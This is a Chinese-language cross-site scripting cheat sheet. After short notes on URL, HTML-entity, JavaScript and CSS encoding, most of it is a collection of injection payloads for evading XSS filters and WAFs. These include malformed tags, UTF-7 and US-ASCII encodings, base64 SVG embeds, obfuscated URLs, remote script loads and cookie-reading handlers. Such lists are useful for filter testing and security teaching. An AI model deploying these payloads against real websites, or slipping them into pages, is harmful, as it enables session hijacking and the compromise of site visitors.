XSS跨站脚本攻击
0x00 前言
所谓xss,无非是用户可控的数据被客户端进行意料之外的解析
下面来看一下常见的编码
URL编码
一个百分号和该字符的ASCII编码所对应的2位十六进制数字,例如/
的URL编码为%2F
(不区分大小写)
HTML实体编码
- 命名实体
以
&
开头,分号结尾,例:<
的编码是<
- 字符编码
十进制、十六进制ASCII码或unicode字符编码,样式为
&#数值;
,例如<
可编码为<
和<
-
不带分号的字符编码 常见的实体编码格式总是
&..;
,然而实体编码是可以不使用分号的,而且长度几乎没有限制例:
<img src=# onerror=alert('XSS')>
- 十进制(&#..)
<IMG SRC=# onerror=alert('XSS')>
- 十六进制(&#x..)
<IMG SRC=# onerror=alert('XSS')>
HTML属性编码
JS编码
- 八进制
三个八进制数字,不够补0,例:
e
编码为\145
- 十六进制
两个十六进制数字,不够补0,例:
e
编码为\x65
- UNICODE编码
四个十六进制数字,不够补0,例:
e
编码为\u0065
- 转义
一些控制字符,使用特殊的C类型转义风格,例:
\n \r
CSS编码
用一个反斜线\
后面跟1~6位的十六进制数字,例:e
编码为\65
或65
或00065
复合编码
在实际情况中经常会出现在多种环境嵌套下,可把这些情况称为符合编码,例如:
<td onclick=”openUrl(add.do?userName=’<%=value%>’);”>11</td>
value的内容首先出现在一个URL中,这个URL在一段javascript中,而javascript代码又是html的一部分。所以解码的顺序就是HTML解码–>js解码–>url解码,那么正确的编码顺序就应该是url编码–>js编码–>html编码。
0x01 XSS定位器
可以通过输入一些特殊字符再根据其输出的状态观察是否存在漏洞
'";!--<xx>=&{()}\
0x02 非常规写法
以下只列举语法相关的不常见的写法,编码问题可结合实际考虑
javascript实现图片XSS
<img src=" javascript:alert( 'xxx' );">
无分号引号
<iMg sRc=JaVaScrIPT:alert(`xss`)>
<iMg src=JavAScript:alert(String.fromCharCode(88,83,83))>
畸形的标签
被引号包裹的攻击向量
<!-- <IMG "$_GET['data']"> -->
<IMG "><SCRIPT>alert(/XSS/)</SCRIPT>">
<script>
var param = 'aaa</script><script>alert(/XSS/)</script>';
</script>
空白字符分隔javascript
经尝试,在当前google、firefox、edge、ie11中,img标签的src不支持javascript,下面仅仅是个例子,但是可以在其它支持javascript的标签比如a标签或其它支持这种写法的浏览器中使用
<!-- 引号与javascript之间可以插入任何0-32号字符(未验证) -->
<!-- javascript可以被 空格、回车、空白(%00) 等多种字符分割 -->
<img src=" ja v ascript:alert(1);">
非字母非数字字符
很多HTML解析器认为HTML关键词后面不能有非字母非数字字符(当前版本firefox,google,ie11等都支持),如果XSS过滤器是这样:<script\s+
的话,就会检测失败
<!-- 可以对标签后面的特殊字符进行fuzz -->
<script/xxx src="http://127.0.0.1:8000/xss.js"></script>
或者,不允许空格时:
<script/src="http://127.0.0.1:8000/xss.js"></script>
额外的尖括号
<!-- 下面的 // 可以用来注释掉多余的尖括号,避免出现js错误 -->
<<script>alert('xss');//<</script>
US-ASCII编码
使用畸形的7位ASCII编码来代替8位,这个XSS攻击向量可以绕过大多数内容过滤器,但是只在主机使用US-ASCII编码传输数据时有效,或者可以自己设置编码格式。相对绕过服务器端过滤,这在绕过WAF跨站脚本过滤时候更有效。Apache Tomcat是目前唯一已知使用US-ASCII编码传输的
¼script¾alert(¢XSS¢)¼/script¾
UTF-7编码
如果存在XSS的页面没有提供页面编码头部,或者使用了任何设置为使用UTF-7编码的浏览器,就可以使用下列方式进行攻击。这在任何不改变编码类型的现代浏览器上是无效的,这也是为什么标记为完全不支持的原因
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
html条件选择注释块
只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
object标签
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
embed标签
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
该示例只在FireFox下有效,但是比上面的攻击向量在FireFox下好,因为不需要用户安装或启用FLASH
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
URL字符绕过
假设”http://www.google.com/”是不被允许的:
- IP代替域名
<A HREF="http://66.102.7.147/">XSS</A>
- URL编码
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
- 双字节编码(注意,还有另一种双字节编码)
<A HREF="http://1113982867/">XSS</A>
- 十六进制编码(每个数字的允许的范围大概是240位字符,就如你在第二位上看到的,并且由于十六进制是在0到F之间,所以开头的0可以省略:)
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
- 八进制编码(又一次允许填充,尽管你必须保证每类在4位字符以上-例如A类,B类等等:)
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
- 混合编码(让我们混合基本编码并在其中插入一些TAB和换行,虽然不知道浏览器为什么允许这样做。TAB和换行只有被引号包含时才有效)
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
- 协议解析绕过
// 替代 http:// 可以节约很多字节.当输入空间有限时很有用(少两个字符可能解决大问题) 而且可以轻松绕过类似"(ht|f)tp(s)?://"的正则过滤(感谢Ozh提供这部分).你也可以将"//"换成"\\"。你需要保证斜杠在正确的位置,否则可能被当成相对路径URL
<A HREF="//www.google.com/">XSS</A>
- Google的
feeling lucky
功能1Firefox使用Google的"feeling lucky"功能根据用户输入的任何关键词来将用户重定向。如果你存在漏洞的页面在某些随机关键词上搜索引擎排名是第一的,你就可以利用这一特性来攻击FireFox用户。这使用了Firefox的"keyword:"协议。你可以像下面一样使用多个关键词"keyword:XSS+RSnake"。这在Firefox2.0后不再有效.
<A HREF="//google">XSS</A>
- Google的
feeling lucky
功能2这使用了一个仅在FireFox上有效的小技巧,因为它实现了"feelinglucky"功能。不像下面一个例子,这个在Opera上无效因为Opera会认为只是一个老式的HTTP基础认证钓鱼攻击,但它并不是。它只是一个畸形的URL。如果你点击了对话框的确定,它就可以生效。但是在Opera上会是一个错误对话框,所以认为其不被Opera所支持,同样在Firefox2.0后不再有效
<A HREF="http://ha.ckers.org@google">XSS</A>
- Google的
feeling lucky
功能3这是一个畸形的URL只在FireFox和Opera下有效,因为它们实现了"feeling lucky"功能。像上面的例子一样,它要求你的攻击页面在Google上特定关键词排名第一(在这个示例里关键词是"google")
<A HREF="http://google:ha.ckers.org">XSS</A>
- 绝对DNS名称后额外的点
<A HREF="http://www.google.com./">XSS</A>
- JavaScriptlink location
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
0x03 绕过WAF
绕过WAF可用字符串
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Alert混淆以绕过过滤器
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)